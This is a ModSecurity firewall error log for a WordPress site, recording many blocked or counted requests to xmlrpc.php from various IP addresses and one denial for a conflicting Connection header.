[Thu Apr 30 15:42:30.978333 2026] [:error] [pid 18112:tid 18153] [client 185.23.117.167:42244] [client 185.23.117.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMH5iUrJv3y8j6Lm1sI5wAAAEM"]
[Thu Apr 30 15:43:24.765979 2026] [:error] [pid 53641:tid 53670] [client 157.90.35.146:33146] [client 157.90.35.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.35.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMIHGC119wja3QGeAHhiQAAAZI"]
[Thu Apr 30 15:44:14.972717 2026] [:error] [pid 18113:tid 18196] [client 157.90.35.146:59956] [client 157.90.35.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.35.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMITniIjwsVGkvz5ImF5gAAAJM"]
[Thu Apr 30 15:44:21.545035 2026] [:error] [pid 18111:tid 18137] [client 138.199.146.196:57870] [client 138.199.146.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.146.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMIVWctLbxB7Q1_oK0oHgAAAA8"]
[Thu Apr 30 15:45:13.190776 2026] [:error] [pid 52350:tid 52381] [client 39.100.88.232:47706] [client 39.100.88.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.100.88.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMIif1j4GHE9hm7bfeULQAAARc"]
[Thu Apr 30 15:47:12.173207 2026] [:error] [pid 18111:tid 18146] [client 195.201.124.87:52358] [client 195.201.124.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.201.124.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMJAGctLbxB7Q1_oK0pCAAAABg"]
[Thu Apr 30 15:47:48.661734 2026] [:error] [pid 53641:tid 53665] [client 217.182.82.42:55182] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMJJGC119wja3QGeAHilAAAAY0"]
[Thu Apr 30 15:51:09.566459 2026] [:error] [pid 18112:tid 18159] [client 155.133.132.65:63819] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMJ7SUrJv3y8j6Lm1sKfgAAAEk"]
[Thu Apr 30 15:55:01.006155 2026] [:error] [pid 18220:tid 18232] [client 54.36.100.158:42312] [client 54.36.100.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMK1cyESVSfAPebmxYzNAAAAMk"]
[Thu Apr 30 15:59:00.199855 2026] [:error] [pid 18112:tid 18167] [client 35.226.125.165:40042] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMLxCUrJv3y8j6Lm1sL2QAAAFE"]
[Thu Apr 30 16:00:16.986791 2026] [:error] [pid 52436:tid 52459] [client 35.226.125.165:46624] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMMEALFWPk_P7AfE8cowQAAAVQ"]
[Thu Apr 30 16:04:12.462605 2026] [:error] [pid 53641:tid 53652] [client 78.46.193.134:53938] [client 78.46.193.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.193.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMM_GC119wja3QGeAHmDQAAAYI"]
[Thu Apr 30 16:07:01.261483 2026] [:error] [pid 52436:tid 52460] [client 155.133.142.66:34630] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMNpQLFWPk_P7AfE8cqBgAAAVU"]
[Thu Apr 30 16:08:33.317048 2026] [:error] [pid 18111:tid 18134] [client 195.250.23.93:53764] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMOAWctLbxB7Q1_oK0ydwAAAAw"]
[Thu Apr 30 16:08:36.564718 2026] [:error] [pid 18112:tid 18157] [client 211.21.61.223:42092] [client 211.21.61.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMOBCUrJv3y8j6Lm1sO_wAAAEc"]
[Thu Apr 30 16:09:31.501093 2026] [:error] [pid 18111:tid 18135] [client 64.92.9.212:42914] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMOO2ctLbxB7Q1_oK0zOgAAAA0"]
[Thu Apr 30 16:09:49.350370 2026] [:error] [pid 53641:tid 53657] [client 70.39.251.139:48748] [client 70.39.251.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 70.39.251.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMOTWC119wja3QGeAHprgAAAYU"]
[Thu Apr 30 16:10:27.659053 2026] [:error] [pid 52350:tid 52359] [client 45.63.120.231:17724] [client 45.63.120.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.63.120.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMOc_1j4GHE9hm7bfeZOwAAAQI"]
[Thu Apr 30 16:12:37.083427 2026] [:error] [pid 53641:tid 53660] [client 74.207.234.148:53670] [client 74.207.234.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.207.234.148, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMO9WC119wja3QGeAHrxAAAAYg"]
[Thu Apr 30 16:12:57.665724 2026] [:error] [pid 52350:tid 52363] [client 165.22.32.214:39564] [client 165.22.32.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.32.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMPCf1j4GHE9hm7bfeaiwAAAQU"]
[Thu Apr 30 16:19:51.979352 2026] [:error] [pid 53641:tid 53666] [client 149.202.76.92:35288] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMQp2C119wja3QGeAHuXgAAAY4"]
[Thu Apr 30 16:21:22.291922 2026] [:error] [pid 18111:tid 18144] [client 146.59.70.139:41700] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMRAmctLbxB7Q1_oK06pgAAABY"]
[Thu Apr 30 16:24:18.056785 2026] [:error] [pid 52350:tid 52367] [client 57.128.117.142:44438] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMRsv1j4GHE9hm7bfecswAAAQk"]
[Thu Apr 30 16:29:45.496365 2026] [:error] [pid 18111:tid 18143] [client 167.71.223.197:34222] [client 167.71.223.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.71.223.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMS-WctLbxB7Q1_oK0-LwAAABU"]
[Thu Apr 30 16:31:11.657156 2026] [:error] [pid 39910:tid 39922] [client 159.203.189.210:42644] [client 159.203.189.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.189.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMTT9tf04xYDlbRUODsPAAAAAg"]
[Thu Apr 30 16:37:17.849114 2026] [:error] [pid 39911:tid 39963] [client 188.166.14.36:58182] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMUvf_4a0SsIQsiLSnovwAAAFM"]
[Thu Apr 30 16:38:22.385004 2026] [:error] [pid 39912:tid 39979] [client 157.230.98.91:54450] [client 157.230.98.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMU_q8-s8fTICYp_ct6bQAAAIg"]
[Thu Apr 30 16:41:03.145532 2026] [:error] [pid 40003:tid 40020] [client 89.167.31.196:44550] [client 89.167.31.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.167.31.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMVnzIyJ-Orl-2KA1LCrwAAAM4"]
[Thu Apr 30 16:41:43.869975 2026] [:error] [pid 39910:tid 39926] [client 104.248.65.197:57966] [client 104.248.65.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.65.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMVx9tf04xYDlbRUODt0AAAAAw"]
[Thu Apr 30 16:43:44.780530 2026] [:error] [pid 40003:tid 40029] [client 194.164.162.203:44630] [client 194.164.162.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.162.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMWQDIyJ-Orl-2KA1LEEQAAANc"]
[Thu Apr 30 16:43:55.996446 2026] [:error] [pid 40003:tid 40014] [client 82.223.83.78:50606] [client 82.223.83.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.83.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMWSzIyJ-Orl-2KA1LEKgAAAMg"]
[Thu Apr 30 16:46:11.313774 2026] [:error] [pid 39910:tid 39920] [client 64.92.9.212:54144] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMW09tf04xYDlbRUODvJgAAAAY"]
[Thu Apr 30 16:48:19.858312 2026] [:error] [pid 39910:tid 39922] [client 142.93.114.194:21316] [client 142.93.114.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.114.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMXU9tf04xYDlbRUODvywAAAAg"]
[Thu Apr 30 16:54:36.708055 2026] [:error] [pid 40003:tid 40017] [client 165.22.37.239:36514] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMYzDIyJ-Orl-2KA1LJpQAAAMs"]
[Thu Apr 30 16:55:24.434116 2026] [:error] [pid 39910:tid 39931] [client 96.9.125.116:49218] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMY_Ntf04xYDlbRUODwtwAAABE"]
[Thu Apr 30 16:55:33.718556 2026] [:error] [pid 40003:tid 40007] [client 157.66.144.11:46866] [client 157.66.144.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.144.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMZBTIyJ-Orl-2KA1LJvAAAAME"]
[Thu Apr 30 16:58:00.311138 2026] [:error] [pid 40003:tid 40011] [client 103.157.97.47:36672] [client 103.157.97.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.157.97.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMZmDIyJ-Orl-2KA1LKjAAAAMU"]
[Thu Apr 30 16:59:59.596156 2026] [:error] [pid 46062:tid 46089] [client 116.202.13.21:55142] [client 116.202.13.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.13.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMaD467WLjbPQfxr6zKeQAAARg"]
[Thu Apr 30 17:07:10.264490 2026] [:error] [pid 46062:tid 46070] [client 80.66.213.216:53556] [client 80.66.213.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.66.213.216, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMbvo67WLjbPQfxr6zMWwAAAQU"]
[Thu Apr 30 17:08:08.315804 2026] [:error] [pid 39911:tid 39967] [client 204.48.18.182:45416] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMb-P_4a0SsIQsiLSnv4gAAAFc"]
[Thu Apr 30 17:10:00.154917 2026] [:error] [pid 39911:tid 39945] [client 74.207.234.148:53846] [client 74.207.234.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.207.234.148, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMcaP_4a0SsIQsiLSnwNgAAAEE"]
[Thu Apr 30 17:19:23.845180 2026] [:error] [pid 46062:tid 46076] [client 138.197.145.244:55640] [client 138.197.145.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.145.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMem467WLjbPQfxr6zQFQAAAQs"]
[Thu Apr 30 17:22:45.372616 2026] [:error] [pid 40003:tid 40008] [client 85.10.187.189:58480] [client 85.10.187.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.10.187.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMfZTIyJ-Orl-2KA1LQyAAAAMI"]
[Thu Apr 30 17:22:51.699446 2026] [:error] [pid 40003:tid 40024] [client 170.106.163.84:55360] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afMfazIyJ-Orl-2KA1LQzgAAANI"]
[Thu Apr 30 17:24:29.911116 2026] [:error] [pid 39912:tid 39991] [client 137.184.237.108:46612] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMfza8-s8fTICYp_cuFeQAAAJQ"]
[Thu Apr 30 17:30:04.529854 2026] [:error] [pid 40003:tid 40007] [client 89.167.41.21:56012] [client 89.167.41.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.167.41.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMhHDIyJ-Orl-2KA1LTSQAAAME"]
[Thu Apr 30 17:31:15.931300 2026] [:error] [pid 39911:tid 39946] [client 89.167.41.21:49330] [client 89.167.41.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.167.41.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMhY__4a0SsIQsiLSnzsAAAAEI"]
[Thu Apr 30 17:33:20.367432 2026] [:error] [pid 39911:tid 39959] [client 164.132.207.73:50296] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMh4P_4a0SsIQsiLSnz8gAAAE8"]
[Thu Apr 30 17:34:12.318063 2026] [:error] [pid 40003:tid 40014] [client 69.42.222.40:37158] [client 69.42.222.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.42.222.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMiFDIyJ-Orl-2KA1LT4AAAAMg"]
[Thu Apr 30 17:34:38.841157 2026] [:error] [pid 46062:tid 46070] [client 120.25.162.160:32888] [client 120.25.162.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.25.162.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMiLo67WLjbPQfxr6zYnwAAAQU"]
[Thu Apr 30 17:36:17.055979 2026] [:error] [pid 40003:tid 40022] [client 213.160.75.126:19842] [client 213.160.75.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.75.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMikTIyJ-Orl-2KA1LUqQAAANA"]
[Thu Apr 30 17:39:56.923622 2026] [:error] [pid 46062:tid 46089] [client 35.234.37.132:35530] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMjbI67WLjbPQfxr6zaKAAAARg"]
[Thu Apr 30 17:45:53.614357 2026] [:error] [pid 46062:tid 46085] [client 212.72.184.247:38834] [client 212.72.184.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.72.184.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMk0Y67WLjbPQfxr6zcUgAAARQ"]
[Thu Apr 30 17:46:39.076975 2026] [:error] [pid 40003:tid 40011] [client 116.202.13.21:59822] [client 116.202.13.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.13.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMk_zIyJ-Orl-2KA1LXAQAAAMU"]
[Thu Apr 30 17:48:22.395719 2026] [:error] [pid 62168:tid 62170] [client 52.178.68.120:45424] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMlZjBYNaFZFUQiL4rlogAAAMA"]
[Thu Apr 30 17:49:00.015246 2026] [:error] [pid 62168:tid 62186] [client 80.82.219.138:37176] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMljDBYNaFZFUQiL4rlzQAAANA"]
[Thu Apr 30 17:50:12.244321 2026] [:error] [pid 62083:tid 62158] [client 5.101.50.197:43996] [client 5.101.50.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.101.50.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afMl1M41rt5fhl83ZtMp1wAAAJM"]
